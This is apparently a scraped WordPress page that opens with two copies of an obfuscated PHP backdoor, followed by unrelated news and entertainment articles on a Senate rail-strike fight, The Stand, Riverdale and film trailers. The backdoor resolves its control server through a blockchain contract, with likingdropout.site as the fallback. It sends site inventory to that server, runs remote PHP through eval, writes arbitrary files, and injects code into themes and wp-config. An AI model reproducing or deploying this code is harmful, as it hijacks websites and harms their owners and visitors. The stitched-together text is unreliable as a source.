// q2_xh
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// q2_xh',
'vis'=>'// xp_v9',
'vis_func'=>'wp_dia8xd',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_47nl0jvi',
);
$keys=array();
$keys['id']='kun';
$keys['ver']='em';
$keys['caps']='eby';
$keys['tasks']='awd';
$keys['interval']='pww';
$keys['ack_id']='nl0';
$keys['ok']='9s';
$keys['detail']='wyy';
$keys['inv']='kxw';
$keys['result']='f3t';
$hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
// l0_9z
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// l0_9z',
'vis'=>'// zn_yn',
'vis_func'=>'wp_cuzg8t',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_mtrhds4x',
);
$keys=array();
$keys['id']='ybc';
$keys['ver']='a1';
$keys['caps']='afo';
$keys['tasks']='x9t';
$keys['interval']='2e4';
$keys['ack_id']='k72';
$keys['ok']='ch';
$keys['detail']='xd9';
$keys['inv']='hw8';
$keys['result']='0bb';
$hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
AP Photo/Jose Luis Magana
Sen. Bernie Sanders of Vermont on Wednesday blocked a Republican proposal to push through an agreement for rail workers and prevent a potentially economy-stopping national strike.
The GOP-backed resolution would forgo workers' demands to be able to call out sick or for family emergencies. As the strike looms, Amtrak has canceled cross-country trips, and the Biden administration is scrambling to help broker a deal.
"The CEOs in the freight rail industry need to understand that they cannot have it all," Sanders said during a Wednesday floor speech. "The rail industry must agree to a contract that is fair and is just. It is time for Congress to stand on the side of workers for a change and not just the heads of large multinational corporations."
Sens. Richard Burr of North Carolina and Roger Wicker of Mississippi wanted Congress to pass a set of recommendations from a presidentially-appointed bipartisan panel and avert a strike, even if workers did not voluntarily agree to a deal.
"There are mechanisms that have been in the law for a long time to allow Congress to step in and prevent the economic disaster that would ensue," Wicker told Insider earlier on Wednesday. "I think it's time to invoke that provisional law."
The US Chamber of Commerce, which represents business interests, estimated a shutdown would cost the economy $ 2 billion a day. John Drake, VP of transportation, infrastructure and supply chain policy at the Chamber of Commerce, told Insider in a statement that he "welcomes" the Republican resolution.
But the proposal would potentially overrule workers' decision on their contract, which they've been bargaining since 2019, should workers not reach a voluntary agreement with rail carriers. Workers are set to strike on Friday if they do not reach an agreement; unions and rail carriers have been in discussions facilitated by Secretary of Labor Marty Walsh and the Department of Labor throughout Wednesday. However, Congress taking action would force a new deal and avert a strike.
Sanders, Wicker, and Burr sparred over the workers' demands, with Sanders emphasizing that workers should get paid for time out sick — and a say in their contract.
"I wonder if the CEOs and top executives of the railroads would get fired if they got sick or had a medical emergency in their families," Sanders said. "I doubt it very much."
Sanders noted that rail workers would be entitled to no sick days, either paid or unpaid, under the current set of recommendations from the presidential panel. That's proven to be a hardline issue for the set of unions who haven't signed on to the tentative agreement.
"The Burr-Wicker resolution would take these fundamental rights away from workers," he said.
Burr said that the resolution is now in the hands of Senate Majority Leader Chuck Schumer, and expressed confidence Republicans could lend most of the votes needed to pass the resolution. It would need 60 votes to cross the filibuster threshold, an amount of support it's very unlikely to garner. Ten Senate Democrats would need to join every Senate Republican for the measure to pass.
"I don't think anyone wants a strike or a lockout," Sanders said. "We hope that a settlement will be reached in the next day. In my view, if we reach a settlement, I would hope that the railroads — which are making huge profits — treat their workers with the respect they deserve."
https://i.insider.com/63224988d5916b0019abce67?format=jpeg
]]>
CBS All Access is gift-wrapping a fresh Stephen King adaptation for you this holiday season.
The streamer’s hotly anticipated new take on The Stand will debut on Thursday, Dec. 17, TVLine has learned. New installments of the nine-episode limited series will then air weekly each Thursday.
Based on King’s bestselling novel, The Stand centers on a battle between good and evil in a post-apocalyptic world, with the elderly Mother Abagail (Whoopi Goldberg) and a small group of survivors going up against the villainous Randall Flagg, aka The Dark Man, played by Alexander Skarsgård. King himself will write the ninth and final episode, including a new coda not found in the original novel. (The Stand was previously adapted into a 1994 ABC miniseries starring Gary Sinise.)
“During the two years we spent making The Stand, we all felt the responsibility of adapting what may be the most beloved work of one of the world’s most beloved storytellers, but none of us could have imagined that Stephen King’s 40-year-old masterpiece about a global pandemic would come to be so eerily relevant,” showrunner Benjamin Cavell (SEAL Team, Justified) said in a statement. “We’re honored to tell this sprawling, epic story, including a new coda that Stephen King has wanted to add for decades. We’re so proud of this show and its attempt to find meaning and hope in the most uncertain of times. We can’t wait to share it with the world.”
Goldberg and Skarsgård will be joined by an ensemble cast including Dead to Me‘s James Marsden (as Stu Redman), Amber Heard (as Nadine Cross), Odessa Young (as Frannie Goldsmith), Henry Zaga (as Nick Andros), Arrow‘s Katherine McNamara (as Julie Lawry) and freshly minted Emmy nominee Jovan Adepo (as Larry Underwood).
https://pmctvline2.files.wordpress.com/2020/08/the-stand-premiere-date.jpg
Demonstrations across the United States have been taking place after 46-year-old George Floyd was killed after being kneeled on by a police officer for over eight minutes.
Cole Sprouse clarified: “It needs to be stated that as a straight white man, and a public figure, the institutional consequences of my detainment are nothing in comparison to others within the movement.”
Finally, Vanessa Morgan tweeted her support for the ongoing movement: “[…] finally feel like I can speak up for myself and my fellow brothers and sisters & be heard. Usually everyone is fake listening. I really hope a change is coming.”
Series creator Roberto Aguirre-Sacasa has promoted charities for the Black Lives Matter movement on Twitter, but has not addressed Vanessa Morgan’s comments.
The CW has also been contacted for comment.
Riverdale is available on Netflix.
]]>
1.
When she defended Oprah after Trump said she will be exposed and defeated if she runs for president:
NBC
Watch her full defense of Oprah here.
4.
When she said this about Donald Trump:
7.
When she was critical of Elton John’s reaction to her coming out:
During the time, because there was so much talk about it, everyone was just sick of it. I had only done the cover of Time magazine, a primetime special with Diane Sawyer and Oprah — those were the only three places I talked — people were reporting on reports and reports. Even Elton John said, “Shut up already. We know you’re gay. Be funny.” I had never met him and I thought, “What kind of support is that from a gay person?”
Jussie Smollett made his first public appearance on Saturday in the wake of a horrific attack in Chicago that police are investigating as a hate crime.
The Empire star went ahead with a previously scheduled concert at the Troubadour in West Hollywood, Calif., where he addressed the assault, as well as his aggressors.
“The most important thing I can say is thank you so much, and I’m OK,” Smollett said, according to the Associated Press. “I’m not fully healed yet, but I’m going to [be], and I’m gonna stand strong with y’all.
“I had to be here tonight,” he continued. “I couldn’t let those motherf–kers win. I will always stand for love…. regardless of what anyone says, I will only stand for love.”
At the end of his performance, Smollett clarified the extent of his injuries. He said that his ribs were bruised, but not cracked. He saw a doctor, but was not hospitalized.
“Above all, I fought the f–k back,” he said, before adding with a laugh, “I’m the gay Tupac.”
Per the Chicago Police Department, Smollett was walking down the street early Tuesday morning when two individuals approached him and began yelling racial and homophobic slurs. The offenders then became physically violent, battering the actor with their hands and pouring an “unknown chemical substance” on him, per the CPD. At some point during the altercation, one of the offenders wrapped a rope around Smollett’s neck before fleeing the scene.
The actor also told police that the perpetrators referenced President Trump’s rallying cry, “Make America Great Again,” during the attack, per The Hollywood Reporter. (Trump later called the incident “horrible.”)
On Friday, Smollett put out a written statement, assuring fans that “my body is strong but my soul is stronger.” Though he expressed frustration with “certain inaccuracies and misrepresentations that have been spread” since the attack, he said he remains grateful for the community’s support and reiterated that such “cowardly attacks” happen often in the LGBTQ community. (Read his complete statement here.)
https://pmctvline2.files.wordpress.com/2019/02/jussie-smollett-response.jpg
Trailers are an under-appreciated art form insofar that many times they’re seen as vehicles for showing footage, explaining films away, or showing their hand about what moviegoers can expect. Foreign, domestic, independent, big budget: What better way to hone your skills as a thoughtful moviegoer than by deconstructing these little pieces of advertising?
This week we steal some art, keep our comedy clean, get in the ring with a woman who’s ready to box,, make some deadly New Year’s resolutions and more.
I don’t even know what to make of director Milorad Krstic’s animated opus, but this trailer hums with creativity.
Ruben Brandt, a famous psychotherapist, is forced to steal 13 paintings from the world’s renowned museums and private collections to prevent his suffering from terrible nightmares he has as a result of subliminal messaging he received as a child. Accompanied by his four patients, he and his band of thieves strike regularly and with great success: the Louvre, Tate, Uffizi, Hermitage, the Museum of Modern Art. “The Collector” quickly becomes the most wanted criminal in the world. Gangsters and headhunters chase him around the world while the reward for his capture keeps rising, approaching a hundred million dollars. A cartel of insurance companies entrusts Mike Kowalski, a private detective and leading expert on art theft, to solve the “Collector Case.”
The trailer is a Technicolor fever dream. The animation is different than anything else we’ve seen in some time, the narrative is wonderfully bizarre, and the way it pulls in artistic flourishes to inform its visual palette is an inspired choice. Good, bad, or indifferent, it’s attempting to be something artistically unique.
This trailer is just fun. Brian Regan is known as the king of clean, but I will admit that this trailer made me laugh. In an era where some comedians are trying way too hard, and some that are just a little too “alt,” it’s just nice to have someone like Regan who is interested in just being funny. Somehow that’s very soothing, and this trailer exudes that confidence.
I am ready to rocket past the holidays, and director Sophia Takal appears that she wants to ring in the New Year with some blood.
A social media star celebrates New Year’s Eve with her childhood friends, but a fun game of secrets turns into a terrifying fight for survival.
What makes this so much fun is just how absurd the premise is in the first place. It’s a Blumhouse joint so you know there’s a high concept involved, but the real satisfaction is that this is going to a lean, tight story. It’s not going to end up on any Best Of list, but when you’re in the mood for something light and airy it looks like this could deliver.
Knowing that director Carmel Winters has the producer backing of the folks who gave Once and Sing Street to the world is the stamp of approval enough for me. It helps that the trailer is fantastic, but I also like the story behind it.
From the producers of Once and Sing Street, Float Like a Butterfly is a powerful and timely story of a girl’s fight for freedom and belonging. In a gender-reversal of classic film Billy Elliot, 15-year-old Frances has to fight for the right to fight back. Raised in roadside camps in rural Ireland, Frances wants to champion her people inside the boxing ring and out, like her idol Muhammad Ali. But society is determined to break her spirit and destroy her way of life. And her father, once her greatest ally, is too defeated himself to imagine any better for his daughter. But Frances was not born to be broken. In the mother of all fights, she must dig deep to find in herself the Champion her father once knew her to be.
The movie indeed isn’t as warm and cuddly as Once or Sing Street, there is an obvious lack of pop hits, but the story is emotionally and compelling enough that this is a must-see for me.
